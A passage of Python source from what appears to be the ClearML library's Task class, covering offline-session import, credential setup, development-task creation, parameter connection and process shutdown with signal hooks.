project_name = task_data.get('project_name') or Task._get_project_name(task_data.get('project', ''))
target_task = Task.create(project_name=project_name, task_name=task_data.get('name', None))
elif isinstance(target_task, six.string_types):
target_task = Task.get_task(task_id=target_task)
elif not isinstance(target_task, Task):
raise ValueError(
"`target_task` must be either Task id (str) or Task object, "
"received `target_task` type {}".format(type(target_task)))
target_task.reload()
cur_data = target_task.data.to_dict()
cur_data = merge_dicts(cur_data, task_data) if update else dict(**task_data)
cur_data.pop('id', None)
cur_data.pop('project', None)
# noinspection PyProtectedMember
valid_fields = list(tasks.EditRequest._get_data_props().keys())
cur_data = dict((k, cur_data[k]) for k in valid_fields if k in cur_data)
res = target_task._edit(**cur_data)
if res and res.ok():
target_task.reload()
else:
target_task = None
# restore current api version, and return a new instance if Task with the current version
if force_api_version:
Session.force_max_api_version = original_force_max_api_version
Session.api_version = original_api_version
if target_task:
target_task = Task.get_task(task_id=target_task.id)
return target_task
@classmethod
def import_offline_session(cls, session_folder_zip, previous_task_id=None, iteration_offset=0):
# type: (str, Optional[str], Optional[int]) -> (Optional[str])
"""
Upload an off line session (execution) of a Task.
Full Task execution includes repository details, installed packages, artifacts, logs, metric and debug samples.
This function may also be used to continue a previously executed task with a task executed offline.
:param session_folder_zip: Path to a folder containing the session, or zip-file of the session folder.
:param previous_task_id: Task ID of the task you wish to continue with this offline session.
:param iteration_offset: Reporting of the offline session will be offset with the
number specified by this parameter. Useful for avoiding overwriting metrics.
:return: Newly created task ID or the ID of the continued task (previous_task_id)
"""
print('ClearML: Importing offline session from {}'.format(session_folder_zip))
temp_folder = None
if Path(session_folder_zip).is_file():
# unzip the file:
temp_folder = mkdtemp(prefix='clearml-offline-')
ZipFile(session_folder_zip).extractall(path=temp_folder)
session_folder_zip = temp_folder
session_folder = Path(session_folder_zip)
if not session_folder.is_dir():
raise ValueError("Could not find the session folder / zip-file {}".format(session_folder))
try:
with open((session_folder / cls._offline_filename).as_posix(), 'rt') as f:
export_data = json.load(f)
except Exception as ex:
raise ValueError(
"Could not read Task object {}: Exception {}".format(session_folder / cls._offline_filename, ex))
current_task = cls.import_task(export_data)
if previous_task_id:
task_holding_reports = cls.get_task(task_id=previous_task_id)
task_holding_reports.mark_started(force=True)
task_holding_reports = cls.import_task(export_data, target_task=task_holding_reports, update=True)
else:
task_holding_reports = current_task
task_holding_reports.mark_started(force=True)
# fix artifacts
if current_task.data.execution.artifacts:
from . import StorageManager
# noinspection PyProtectedMember
offline_folder = os.path.join(export_data.get('offline_folder', ''), 'data/')
# noinspection PyProtectedMember
remote_url = current_task._get_default_report_storage_uri()
if remote_url and remote_url.endswith('/'):
remote_url = remote_url[:-1]
for artifact in current_task.data.execution.artifacts:
local_path = artifact.uri.replace(offline_folder, '', 1)
local_file = session_folder / 'data' / local_path
if local_file.is_file():
remote_path = local_path.replace(
'.{}{}'.format(export_data['id'], os.sep), '.{}{}'.format(current_task.id, os.sep), 1)
artifact.uri = '{}/{}'.format(remote_url, remote_path)
StorageManager.upload_file(local_file=local_file.as_posix(), remote_url=artifact.uri)
# noinspection PyProtectedMember
task_holding_reports._edit(execution=current_task.data.execution)
# logs
TaskHandler.report_offline_session(task_holding_reports, session_folder, iteration_offset=iteration_offset)
# metrics
Metrics.report_offline_session(task_holding_reports, session_folder, iteration_offset=iteration_offset)
# print imported results page
print('ClearML results page: {}'.format(task_holding_reports.get_output_log_web_page()))
task_holding_reports.mark_completed()
# close task
task_holding_reports.close()
# cleanup
if temp_folder:
# noinspection PyBroadException
try:
shutil.rmtree(temp_folder)
except Exception:
pass
return task_holding_reports.id
@classmethod
def set_credentials(
cls,
api_host=None,
web_host=None,
files_host=None,
key=None,
secret=None,
store_conf_file=False
):
# type: (Optional[str], Optional[str], Optional[str], Optional[str], Optional[str], bool) -> None
"""
Set new default **ClearML Server** (backend) host and credentials.
These credentials will be overridden by either OS environment variables, or the ClearML configuration
file, ``clearml.conf``.
.. warning::
Credentials must be set before initializing a Task object.
For example, to set credentials for a remote computer:
.. code-block:: py
Task.set_credentials(
api_host='http://localhost:8008', web_host='http://localhost:8080', files_host='http://localhost:8081',
key='optional_credentials', secret='optional_credentials'
)
task = Task.init('project name', 'experiment name')
:param str api_host: The API server url. For example, ``host='http://localhost:8008'``
:param str web_host: The Web server url. For example, ``host='http://localhost:8080'``
:param str files_host: The file server url. For example, ``host='http://localhost:8081'``
:param str key: The user key (in the key/secret pair). For example, ``key='thisisakey123'``
:param str secret: The user secret (in the key/secret pair). For example, ``secret='thisisseceret123'``
:param bool store_conf_file: If True store the current configuration into the ~/clearml.conf file.
If the configuration file exists, no change will be made (outputs a warning).
Not applicable when running remotely (i.e. clearml-agent).
"""
if api_host:
Session.default_host = api_host
if not running_remotely() and not ENV_HOST.get():
ENV_HOST.set(api_host)
if web_host:
Session.default_web = web_host
if not running_remotely() and not ENV_WEB_HOST.get():
ENV_WEB_HOST.set(web_host)
if files_host:
Session.default_files = files_host
if not running_remotely() and not ENV_FILES_HOST.get():
ENV_FILES_HOST.set(files_host)
if key:
Session.default_key = key
if not running_remotely():
ENV_ACCESS_KEY.set(key)
if secret:
Session.default_secret = secret
if not running_remotely():
ENV_SECRET_KEY.set(secret)
if store_conf_file and not running_remotely():
active_conf_file = get_active_config_file()
if active_conf_file:
getLogger().warning(
'Could not store credentials in configuration file, '
'\'{}\' already exists'.format(active_conf_file))
else:
conf = {'api': dict(
api_server=Session.default_host,
web_server=Session.default_web,
files_server=Session.default_files,
credentials=dict(access_key=Session.default_key, secret_key=Session.default_secret))}
with open(get_config_file(), 'wt') as f:
lines = json.dumps(conf, indent=4).split('\n')
f.write('\n'.join(lines[1:-1]))
@classmethod
def debug_simulate_remote_task(cls, task_id, reset_task=False):
# type: (str, bool) -> ()
"""
Simulate remote execution of a specified Task.
This call will simulate the behaviour of your Task as if executed by the ClearML-Agent
This means configurations will be coming from the backend server into the code
(the opposite from manual execution, where the backend logs the code arguments)
Use with care.
:param task_id: Task ID to simulate, notice that all configuration will be taken from the specified
Task, regardless of the code initial values, just like it as if executed by ClearML agent
:param reset_task: If True target Task, is automatically cleared / reset.
"""
# if we are already running remotely, do nothing
if running_remotely():
return
# verify Task ID exists
task = Task.get_task(task_id=task_id)
if not task:
raise ValueError("Task ID '{}' could not be found".format(task_id))
if reset_task:
task.reset(set_started_on_success=False, force=True)
from .config.remote import override_current_task_id
from .config.defs import LOG_TO_BACKEND_ENV_VAR
override_current_task_id(task_id)
LOG_TO_BACKEND_ENV_VAR.set(True)
DEBUG_SIMULATE_REMOTE_TASK.set(True)
@classmethod
def _create(cls, project_name=None, task_name=None, task_type=TaskTypes.training):
# type: (Optional[str], Optional[str], Task.TaskTypes) -> Task
"""
Create a new unpopulated Task (experiment).
:param str project_name: The name of the project in which the experiment will be created.
If ``project_name`` is ``None``, and the main execution Task is initialized (see :meth:`Task.init`),
then the main execution Task's project is used. Otherwise, if the project does
not exist, it is created. (Optional)
:param str task_name: The name of Task (experiment).
:param TaskTypes task_type: The task type.
:return: The newly created task created.
"""
if not project_name:
if not cls.__main_task:
raise ValueError("Please provide project_name, no global task context found "
"(Task.current_task hasn't been called)")
project_name = cls.__main_task.get_project_name()
try:
task = cls(
private=cls.__create_protection,
project_name=project_name,
task_name=task_name,
task_type=task_type,
log_to_backend=False,
force_create=True,
)
except Exception:
raise
return task
def _set_model_config(self, config_text=None, config_dict=None):
# type: (Optional[str], Optional[Mapping]) -> None
"""
Set Task model configuration text/dict
:param config_text: model configuration (unconstrained text string). usually the content
of a configuration file. If `config_text` is not None, `config_dict` must not be provided.
:param config_dict: model configuration parameters dictionary.
If `config_dict` is not None, `config_text` must not be provided.
"""
# noinspection PyProtectedMember
design = OutputModel._resolve_config(config_text=config_text, config_dict=config_dict)
super(Task, self)._set_model_design(design=design)
def _get_model_config_text(self):
# type: () -> str
"""
Get Task model configuration text (before creating an output model)
When an output model is created it will inherit these properties
:return: The model config_text (unconstrained text string).
"""
return super(Task, self).get_model_design()
def _get_model_config_dict(self):
# type: () -> Dict
"""
Get Task model configuration dictionary (before creating an output model)
When an output model is created it will inherit these properties
:return: config_dict: model configuration parameters dictionary.
"""
config_text = self._get_model_config_text()
# noinspection PyProtectedMember
return OutputModel._text_to_config_dict(config_text)
@classmethod
def _reset_current_task_obj(cls):
if not cls.__main_task:
return
task = cls.__main_task
cls.__main_task = None
if task._dev_worker:
task._dev_worker.unregister()
task._dev_worker = None
@classmethod
def _has_current_task_obj(cls):
# type: () -> bool
return bool(cls.__main_task)
@classmethod
def _create_dev_task(
cls, default_project_name, default_task_name, default_task_type, tags,
reuse_last_task_id, continue_last_task=False, detect_repo=True, auto_connect_streams=True
):
if not default_project_name or not default_task_name:
# get project name and task name from repository name and entry_point
result, _ = ScriptInfo.get(create_requirements=False, check_uncommitted=False)
if not default_project_name:
# noinspection PyBroadException
try:
parts = result.script['repository'].split('/')
default_project_name = (parts[-1] or parts[-2]).replace('.git', '') or 'Untitled'
except Exception:
default_project_name = 'Untitled'
if not default_task_name:
# noinspection PyBroadException
try:
default_task_name = os.path.splitext(os.path.basename(result.script['entry_point']))[0]
except Exception:
pass
# conform reuse_last_task_id and continue_last_task
if continue_last_task and isinstance(continue_last_task, str):
reuse_last_task_id = continue_last_task
continue_last_task = True
elif isinstance(continue_last_task, int) and continue_last_task is not True:
# allow initial offset environment override
continue_last_task = continue_last_task
if TASK_SET_ITERATION_OFFSET.get() is not None:
continue_last_task = TASK_SET_ITERATION_OFFSET.get()
# if we force no task reuse from os environment
if DEV_TASK_NO_REUSE.get() or not reuse_last_task_id or isinstance(reuse_last_task_id, str):
default_task = None
else:
# if we have a previous session to use, get the task id from it
default_task = cls.__get_last_used_task_id(
default_project_name,
default_task_name,
default_task_type.value,
)
closed_old_task = False
default_task_id = None
task = None
in_dev_mode = not running_remotely()
if in_dev_mode:
if isinstance(reuse_last_task_id, str) and reuse_last_task_id:
default_task_id = reuse_last_task_id
elif not reuse_last_task_id or not cls.__task_is_relevant(default_task):
default_task_id = None
else:
default_task_id = default_task.get('id') if default_task else None
if default_task_id:
try:
task = cls(
private=cls.__create_protection,
task_id=default_task_id,
log_to_backend=True,
)
# instead of resting the previously used task we are continuing the training with it.
if task and \
(continue_last_task or
(isinstance(continue_last_task, int) and not isinstance(continue_last_task, bool))):
task.reload()
task.mark_started(force=True)
# allow to disable the
if continue_last_task is True:
task.set_initial_iteration(task.get_last_iteration() + 1)
else:
task.set_initial_iteration(continue_last_task)
else:
task_tags = task.data.system_tags if hasattr(task.data, 'system_tags') else task.data.tags
task_artifacts = task.data.execution.artifacts \
if hasattr(task.data.execution, 'artifacts') else None
if ((str(task._status) in (
str(tasks.TaskStatusEnum.published), str(tasks.TaskStatusEnum.closed)))
or task.output_models_id or (cls.archived_tag in task_tags)
or (cls._development_tag not in task_tags)
or task_artifacts):
# If the task is published or closed, we shouldn't reset it so we can't use it in dev mode
# If the task is archived, or already has an output model,
# we shouldn't use it in development mode either
default_task_id = None
task = None
else:
with task._edit_lock:
# from now on, there is no need to reload, we just clear stuff,
# this flag will be cleared off once we actually refresh at the end of the function
task._reload_skip_flag = True
# reset the task, so we can update it
task.reset(set_started_on_success=False, force=False)
# clear the heaviest stuff first
task._clear_task(
system_tags=[cls._development_tag],
comment=make_message('Auto-generated at %(time)s by %(user)s@%(host)s'))
except (Exception, ValueError):
# we failed reusing task, create a new one
default_task_id = None
# create a new task
if not default_task_id:
task = cls(
private=cls.__create_protection,
project_name=default_project_name,
task_name=default_task_name,
task_type=default_task_type,
log_to_backend=True,
)
# no need to reload yet, we clear this before the end of the function
task._reload_skip_flag = True
if in_dev_mode:
# update this session, for later use
cls.__update_last_used_task_id(default_project_name, default_task_name, default_task_type.value, task.id)
# set default docker image from env.
task._set_default_docker_image()
# mark us as the main Task, there should only be one dev Task at a time.
if not Task.__main_task:
Task.__main_task = task
# mark the task as started
task.started()
# reload, making sure we are synced
task._reload_skip_flag = False
task.reload()
# add Task tags
if tags:
task.add_tags([tags] if isinstance(tags, str) else tags)
# force update of base logger to this current task (this is the main logger task)
logger = task._get_logger(auto_connect_streams=auto_connect_streams)
if closed_old_task:
logger.report_text('ClearML Task: Closing old development task id={}'.format(default_task.get('id')))
# print warning, reusing/creating a task
if default_task_id and not continue_last_task:
logger.report_text('ClearML Task: overwriting (reusing) task id=%s' % task.id)
elif default_task_id and continue_last_task:
logger.report_text('ClearML Task: continuing previous task id=%s '
'Notice this run will not be reproducible!' % task.id)
else:
logger.report_text('ClearML Task: created new task id=%s' % task.id)
# update current repository and put warning into logs
if detect_repo:
# noinspection PyBroadException
try:
import traceback
stack = traceback.extract_stack(limit=10)
# NOTICE WE ARE ALWAYS 3 down from caller in stack!
for i in range(len(stack) - 1, 0, -1):
# look for the Task.init call, then the one above it is the callee module
if stack[i].name == 'init':
task._calling_filename = os.path.abspath(stack[i - 1].filename)
break
except Exception:
pass
if in_dev_mode and cls.__detect_repo_async:
task._detect_repo_async_thread = threading.Thread(target=task._update_repository)
task._detect_repo_async_thread.daemon = True
task._detect_repo_async_thread.start()
else:
task._update_repository()
# make sure we see something in the UI
thread = threading.Thread(target=LoggerRoot.flush)
thread.daemon = True
thread.start()
return task
def _get_logger(self, flush_period=NotSet, auto_connect_streams=False):
# type: (Optional[float], Union[bool, dict]) -> Logger
"""
get a logger object for reporting based on the task
:param flush_period: The period of the logger flush.
If None of any other False value, will not flush periodically.
If a logger was created before, this will be the new period and
the old one will be discarded.
:return: Logger object
"""
if not self._logger:
# do not recreate logger after task was closed/quit
if self._at_exit_called and self._at_exit_called in (True, get_current_thread_id(),):
raise ValueError("Cannot use Task Logger after task was closed")
# Get a logger object
self._logger = Logger(
private_task=self,
connect_stdout=(auto_connect_streams is True) or
(isinstance(auto_connect_streams, dict) and auto_connect_streams.get('stdout', False)),
connect_stderr=(auto_connect_streams is True) or
(isinstance(auto_connect_streams, dict) and auto_connect_streams.get('stderr', False)),
connect_logging=isinstance(auto_connect_streams, dict) and auto_connect_streams.get('logging', False),
)
# make sure we set our reported to async mode
# we make sure we flush it in self._at_exit
self._reporter.async_enable = True
# if we just created the logger, set default flush period
if not flush_period or flush_period is self.NotSet:
flush_period = float(DevWorker.report_period)
if isinstance(flush_period, (int, float)):
flush_period = int(abs(flush_period))
if flush_period is None or isinstance(flush_period, int):
self._logger.set_flush_period(flush_period)
return self._logger
def _connect_output_model(self, model, name=None):
assert isinstance(model, OutputModel)
model.connect(self, name=name)
return model
def _save_output_model(self, model):
"""
Deprecated: Save a reference to the connected output model.
:param model: The connected output model
"""
# deprecated
self._connected_output_model = model
def _reconnect_output_model(self):
"""
Deprecated: If there is a saved connected output model, connect it again.
This is needed if the input model is connected after the output model
is connected, an then we will have to get the model design from the
input model by reconnecting.
"""
# Deprecated:
if self._connected_output_model:
self.connect(self._connected_output_model)
def _connect_input_model(self, model, name=None):
assert isinstance(model, InputModel)
# we only allow for an input model to be connected once
# at least until we support multiple input models
# notice that we do not check the task's input model because we allow task reuse and overwrite
# add into comment that we are using this model
comment = self.comment or ''
if not comment.endswith('\n'):
comment += '\n'
comment += 'Using model id: {}'.format(model.id)
self.set_comment(comment)
model.connect(self, name)
return model
def _connect_argparse(self, parser, args=None, namespace=None, parsed_args=None, name=None):
# do not allow argparser to connect to jupyter notebook
# noinspection PyBroadException
try:
if 'IPython' in sys.modules:
# noinspection PyPackageRequirements
from IPython import get_ipython # noqa
ip = get_ipython()
if ip is not None and 'IPKernelApp' in ip.config:
return parser
except Exception:
pass
if self.is_main_task():
argparser_update_currenttask(self)
if (parser is None or parsed_args is None) and argparser_parseargs_called():
# if we have a parser but nor parsed_args, we need to find the parser
if parser and not parsed_args:
for _parser, _parsed_args in get_argparser_last_args():
if _parser == parser:
parsed_args = _parsed_args
break
else:
# prefer the first argparser (hopefully it is more relevant?!
for _parser, _parsed_args in get_argparser_last_args():
if parser is None:
parser = _parser
if parsed_args is None and parser == _parser:
parsed_args = _parsed_args
if running_remotely() and (self.is_main_task() or self._is_remote_main_task()):
self._arguments.copy_to_parser(parser, parsed_args)
else:
self._arguments.copy_defaults_from_argparse(
parser, args=args, namespace=namespace, parsed_args=parsed_args)
return parser
def _connect_dictionary(self, dictionary, name=None):
def _update_args_dict(task, config_dict):
# noinspection PyProtectedMember
task._arguments.copy_from_dict(flatten_dictionary(config_dict), prefix=name)
def _refresh_args_dict(task, config_dict):
# reread from task including newly added keys
# noinspection PyProtectedMember
a_flat_dict = task._arguments.copy_to_dict(flatten_dictionary(config_dict), prefix=name)
# noinspection PyProtectedMember
nested_dict = config_dict._to_dict()
config_dict.clear()
config_dict.update(nested_from_flat_dictionary(nested_dict, a_flat_dict))
if not running_remotely() or not (self.is_main_task() or self._is_remote_main_task()):
self._arguments.copy_from_dict(flatten_dictionary(dictionary), prefix=name)
dictionary = ProxyDictPostWrite(self, _update_args_dict, **dictionary)
else:
flat_dict = flatten_dictionary(dictionary)
flat_dict = self._arguments.copy_to_dict(flat_dict, prefix=name)
dictionary = nested_from_flat_dictionary(dictionary, flat_dict)
dictionary = ProxyDictPostWrite(self, _refresh_args_dict, **dictionary)
return dictionary
def _connect_task_parameters(self, attr_class, name=None):
if running_remotely() and (self.is_main_task() or self._is_remote_main_task()):
parameters = self.get_parameters()
if not name:
attr_class.update_from_dict(parameters)
else:
attr_class.update_from_dict(
dict((k[len(name) + 1:], v) for k, v in parameters.items() if k.startswith('{}/'.format(name))))
else:
self.set_parameters(attr_class.to_dict(), __parameters_prefix=name)
return attr_class
def _connect_object(self, an_object, name=None):
def verify_type(key, value):
if str(key).startswith('_') or not isinstance(value, self._parameters_allowed_types):
return False
# verify everything is json able (i.e. basic types)
try:
json.dumps(value)
return True
except TypeError:
return False
a_dict = {
k: v
for cls_ in getattr(an_object, "__mro__", [an_object])
for k, v in cls_.__dict__.items()
if verify_type(k, v)
}
if running_remotely() and (self.is_main_task() or self._is_remote_main_task()):
a_dict = self._connect_dictionary(a_dict, name)
for k, v in a_dict.items():
if getattr(an_object, k, None) != a_dict[k]:
setattr(an_object, k, v)
return an_object
else:
self._connect_dictionary(a_dict, name)
return an_object
def _dev_mode_stop_task(self, stop_reason, pid=None):
# make sure we do not get called (by a daemon thread) after at_exit
if self._at_exit_called:
return
self.log.warning(
"### TASK STOPPED - USER ABORTED - {} ###".format(
stop_reason.upper().replace('_', ' ')
)
)
self.flush(wait_for_uploads=True)
self.stopped(status_reason='USER ABORTED')
if self._dev_worker:
self._dev_worker.unregister()
# NOTICE! This will end the entire execution tree!
if self.__exit_hook:
self.__exit_hook.remote_user_aborted = True
self._kill_all_child_processes(send_kill=False, pid=pid, allow_kill_calling_pid=False)
time.sleep(2.0)
self._kill_all_child_processes(send_kill=True, pid=pid, allow_kill_calling_pid=True)
os._exit(1) # noqa
@staticmethod
def _kill_all_child_processes(send_kill=False, pid=None, allow_kill_calling_pid=True):
# get current process if pid not provided
current_pid = os.getpid()
kill_ourselves = None
pid = pid or current_pid
try:
parent = psutil.Process(pid)
except psutil.Error:
# could not find parent process id
return
for child in parent.children(recursive=True):
# kill ourselves last (if we need to)
if child.pid == current_pid:
kill_ourselves = child
continue
if send_kill:
child.kill()
else:
child.terminate()
# parent ourselves
if allow_kill_calling_pid or parent.pid != current_pid:
if send_kill:
parent.kill()
else:
parent.terminate()
# kill ourselves if we need to:
if allow_kill_calling_pid and kill_ourselves:
if send_kill:
kill_ourselves.kill()
else:
kill_ourselves.terminate()
def _dev_mode_setup_worker(self):
if (running_remotely() and not DEBUG_SIMULATE_REMOTE_TASK.get()) \
or not self.is_main_task() or self._at_exit_called or self._offline_mode:
return
if self._dev_worker:
return self._dev_worker
self._dev_worker = DevWorker()
self._dev_worker.register(self)
logger = self.get_logger()
flush_period = logger.get_flush_period()
if not flush_period or flush_period > self._dev_worker.report_period:
logger.set_flush_period(self._dev_worker.report_period)
def _wait_for_repo_detection(self, timeout=None):
# wait for detection repo sync
if not self._detect_repo_async_thread:
return
with self._repo_detect_lock:
if not self._detect_repo_async_thread:
return
# noinspection PyBroadException
try:
if self._detect_repo_async_thread.is_alive():
# if negative timeout, just kill the thread:
if timeout is not None and timeout < 0:
from .utilities.lowlevel.threads import kill_thread
kill_thread(self._detect_repo_async_thread)
else:
self.log.info('Waiting for repository detection and full package requirement analysis')
self._detect_repo_async_thread.join(timeout=timeout)
# because join has no return value
if self._detect_repo_async_thread.is_alive():
self.log.info('Repository and package analysis timed out ({} sec), '
'giving up'.format(timeout))
# done waiting, kill the thread
from .utilities.lowlevel.threads import kill_thread
kill_thread(self._detect_repo_async_thread)
else:
self.log.info('Finished repository detection and package analysis')
self._detect_repo_async_thread = None
except Exception:
pass
def _summary_artifacts(self):
# signal artifacts upload, and stop daemon
self._artifacts_manager.stop(wait=True)
# print artifacts summary (if not empty)
if self._artifacts_manager.summary:
self.get_logger().report_text(self._artifacts_manager.summary)
def _at_exit(self):
# protect sub-process at_exit (should never happen)
if self._at_exit_called and self._at_exit_called != get_current_thread_id():
return
# make sure we do not try to use events, because Python might deadlock itself.
# https://bugs.python.org/issue41606
if self.__is_subprocess():
BackgroundMonitor.set_at_exit_state(True)
# shutdown will clear the main, so we have to store it before.
# is_main = self.is_main_task()
# fix debugger signal in the middle, catch everything
try:
self.__shutdown()
except: # noqa
pass
# In rare cases we might need to forcefully shutdown the process, currently we should avoid it.
# if is_main:
# # we have to forcefully shutdown if we have forked processes, sometimes they will get stuck
# os._exit(self.__exit_hook.exit_code if self.__exit_hook and self.__exit_hook.exit_code else 0)
def __shutdown(self):
"""
Will happen automatically once we exit code, i.e. atexit
:return:
"""
# protect sub-process at_exit
if self._at_exit_called:
is_sub_process = self.__is_subprocess()
# if we are called twice (signal in the middle of the shutdown),
_nested_shutdown_call = bool(self._at_exit_called == get_current_thread_id())
if _nested_shutdown_call and not is_sub_process:
# if we were called again in the main thread on the main process, let's try again
# make sure we only do this once
self._at_exit_called = True
else:
# make sure we flush stdout, this is the best we can do.
if _nested_shutdown_call and self._logger and is_sub_process:
# noinspection PyProtectedMember
self._logger._close_stdout_handler(wait=True)
self._at_exit_called = True
# if we get here, we should do nothing and leave
return
else:
# from here only a single thread can re-enter
self._at_exit_called = get_current_thread_id()
# disable lock on signal callbacks, to avoid deadlocks.
if self.__exit_hook and self.__exit_hook.signal is not None:
self.__edit_lock = False
is_sub_process = self.__is_subprocess()
# noinspection PyBroadException
task_status = None
try:
wait_for_uploads = True
# first thing mark task as stopped, so we will not end up with "running" on lost tasks
# if we are running remotely, the daemon will take care of it
wait_for_std_log = True
if (not running_remotely() or DEBUG_SIMULATE_REMOTE_TASK.get()) \
and self.is_main_task() and not is_sub_process:
# check if we crashed, ot the signal is not interrupt (manual break)
task_status = ('stopped',)
if self.__exit_hook:
is_exception = self.__exit_hook.exception
# check if we are running inside a debugger
if not is_exception and sys.modules.get('pydevd'):
# noinspection PyBroadException
try:
is_exception = sys.last_type
except Exception:
pass
# check if this is Jupyter interactive session, do not mark as exception
if 'IPython' in sys.modules:
is_exception = None
# only if we have an exception (and not ctrl-break) or signal is not SIGTERM / SIGINT
if (is_exception and not isinstance(is_exception, KeyboardInterrupt)
and is_exception != KeyboardInterrupt) \
or (not self.__exit_hook.remote_user_aborted and
(self.__exit_hook.signal not in (None, 2, 15) or self.__exit_hook.exit_code)):
task_status = (
'failed',
'Exception {}'.format(is_exception) if is_exception else
'Signal {}'.format(self.__exit_hook.signal))
wait_for_uploads = False
else:
wait_for_uploads = (self.__exit_hook.remote_user_aborted or self.__exit_hook.signal is None)
if not self.__exit_hook.remote_user_aborted and self.__exit_hook.signal is None and \
not is_exception:
task_status = ('completed',)
else:
task_status = ('stopped',)
# user aborted. do not bother flushing the stdout logs
wait_for_std_log = self.__exit_hook.signal is not None
# wait for repository detection (if we didn't crash)
if wait_for_uploads and self._logger:
# we should print summary here
self._summary_artifacts()
# make sure that if we crashed the thread we are not waiting forever
if not is_sub_process:
self._wait_for_repo_detection(timeout=10.)
# kill the repo thread (negative timeout, do not wait), if it hasn't finished yet.
if not is_sub_process:
self._wait_for_repo_detection(timeout=-1)
# wait for uploads
print_done_waiting = False
if wait_for_uploads and (BackendModel.get_num_results() > 0 or
(self.__reporter and self.__reporter.events_waiting())):
self.log.info('Waiting to finish uploads')
print_done_waiting = True
# from here, do not send log in background thread
if wait_for_uploads:
self.flush(wait_for_uploads=True)
# wait until the reporter flush everything
if self.__reporter:
self.__reporter.stop()
if self.is_main_task():
# notice: this will close the reporting for all the Tasks in the system
Metrics.close_async_threads()
# notice: this will close the jupyter monitoring
ScriptInfo.close()
if self.is_main_task():
# noinspection PyBroadException
try:
from .storage.helper import StorageHelper
StorageHelper.close_async_threads()
except Exception:
pass
if print_done_waiting:
self.log.info('Finished uploading')
# elif self._logger:
# # noinspection PyProtectedMember
# self._logger._flush_stdout_handler()
# from here, do not check worker status
if self._dev_worker:
self._dev_worker.unregister()
self._dev_worker = None
# stop resource monitoring
if self._resource_monitor:
self._resource_monitor.stop()
self._resource_monitor = None
if self._logger:
self._logger.set_flush_period(None)
# noinspection PyProtectedMember
self._logger._close_stdout_handler(wait=wait_for_uploads or wait_for_std_log)
if not is_sub_process:
# change task status
if not task_status:
pass
elif task_status[0] == 'failed':
self.mark_failed(status_reason=task_status[1])
elif task_status[0] == 'completed':
self.mark_completed()
elif task_status[0] == 'stopped':
self.stopped()
# this is so in theory we can close a main task and start a new one
if self.is_main_task():
Task.__main_task = None
Task.__update_master_pid_task(task=None)
except Exception:
# make sure we do not interrupt the exit process
pass
# make sure we store last task state
if self._offline_mode and not is_sub_process:
# noinspection PyBroadException
try:
# create zip file
offline_folder = self.get_offline_mode_folder()
zip_file = offline_folder.as_posix() + '.zip'
with ZipFile(zip_file, 'w', allowZip64=True, compression=ZIP_DEFLATED) as zf:
for filename in offline_folder.rglob('*'):
if filename.is_file():
relative_file_name = filename.relative_to(offline_folder).as_posix()
zf.write(filename.as_posix(), arcname=relative_file_name)
print('ClearML Task: Offline session stored in {}'.format(zip_file))
except Exception:
pass
# delete locking object (lock file)
if self._edit_lock:
# noinspection PyBroadException
try:
del self.__edit_lock
except Exception:
pass
self._edit_lock = None
if task_status and task_status[0] == "completed":
self.set_progress(100)
# make sure no one will re-enter the shutdown method
self._at_exit_called = True
if not is_sub_process and BackgroundMonitor.is_subprocess_enabled():
BackgroundMonitor.wait_for_sub_process(self)
@classmethod
def __register_at_exit(cls, exit_callback, only_remove_signal_and_exception_hooks=False):
class ExitHooks(object):
_orig_exit = None
_orig_exc_handler = None
remote_user_aborted = False
def __init__(self, callback):
self.exit_code = None
self.exception = None
self.signal = None
self._exit_callback = callback
self._org_handlers = {}
self._signal_recursion_protection_flag = False
self._except_recursion_protection_flag = False
def update_callback(self, callback):
if self._exit_callback and not six.PY2:
# noinspection PyBroadException
try:
atexit.unregister(self._exit_callback)
except Exception:
pass
self._exit_callback = callback
if callback:
self.hook()
else:
# un register int hook
if self._orig_exc_handler:
sys.excepthook = self._orig_exc_handler
self._orig_exc_handler = None
for h in self._org_handlers:
# noinspection PyBroadException
try:
signal.signal(h, self._org_handlers[h])
except Exception:
pass
self._org_handlers = {}
def hook(self):
if self._orig_exit is None:
self._orig_exit = sys.exit
sys.exit = self.exit
if self._orig_exc_handler is None:
self._orig_exc_handler = sys.excepthook
sys.excepthook = self.exc_handler
if self._exit_callback:
atexit.register(self._exit_callback)
# TODO: check if sub-process hooks are safe enough, for the time being allow it
if not self._org_handlers: # ## and not Task._Task__is_subprocess():
if sys.platform == 'win32':
catch_signals = [signal.SIGINT, signal.SIGTERM, signal.SIGSEGV, signal.SIGABRT,
signal.SIGILL, signal.SIGFPE]
else:
catch_signals = [signal.SIGINT, signal.SIGTERM, signal.SIGSEGV, signal.SIGABRT,
signal.SIGILL, signal.SIGFPE, signal.SIGQUIT]
for c in catch_signals:
# noinspection PyBroadException
try:
self._org_handlers[c] = signal.getsignal(c)
signal.signal(c, self.signal_handler)
except Exception:
pass
def exit(self, code=0):
self.exit_code = code
self._orig_exit(code)
def exc_handler(self, exctype, value, traceback, *args, **kwargs):
if self._except_recursion_protection_flag:
# noinspection PyArgumentList
return sys.__excepthook__(exctype, value, traceback, *args, **kwargs)
self._except_recursion_protection_flag = True
self.exception = value
if self._orig_exc_handler:
# noinspection PyArgumentList
ret = self._orig_exc_handler(exctype, value, traceback, *args, **kwargs)
else:
# noinspection PyNoneFunctionAssignment, PyArgumentList
ret = sys.__excepthook__(exctype, value, traceback, *args, **kwargs)
self._except_recursion_protection_flag = False
return ret
def signal_handler(self, sig, frame):
self.signal = sig
org_handler = self._org_handlers.get(sig)
signal.signal(sig, org_handler or signal.SIG_DFL)
# if this is a sig term, we wait until __at_exit is called (basically do nothing)
if sig == signal.SIGINT:
# return original handler result
return org_handler if not callable(org_handler) else org_handler(sig, frame)
if self._signal_recursion_protection_flag:
# call original
os.kill(os.getpid(), sig)
return org_handler if not callable(org_handler) else org_handler(sig, frame)
self._signal_recursion_protection_flag = True
# call exit callback
if self._exit_callback:
# noinspection PyBroadException
try:
self._exit_callback()
except Exception:
pass
# remove stdout logger, just in case
# noinspection PyBroadException
try:
# noinspection PyProtectedMember
Logger._remove_std_logger()
except Exception:
pass
# noinspection PyUnresolvedReferences
os.kill(os.getpid(), sig)
self._signal_recursion_protection_flag = False
# return handler result
return org_handler if not callable(org_handler) else org_handler(sig, frame)
# we only remove the signals since this will hang subprocesses
if only_remove_signal_and_exception_hooks:
if not cls.__exit_hook:
return
if cls.__exit_hook._orig_exc_handler:
sys.excepthook = cls.__exit_hook._orig_exc_handler
cls.__exit_hook._orig_exc_handler = None
for s in cls.__exit_hook._org_handlers:
# noinspection PyBroadException
try:
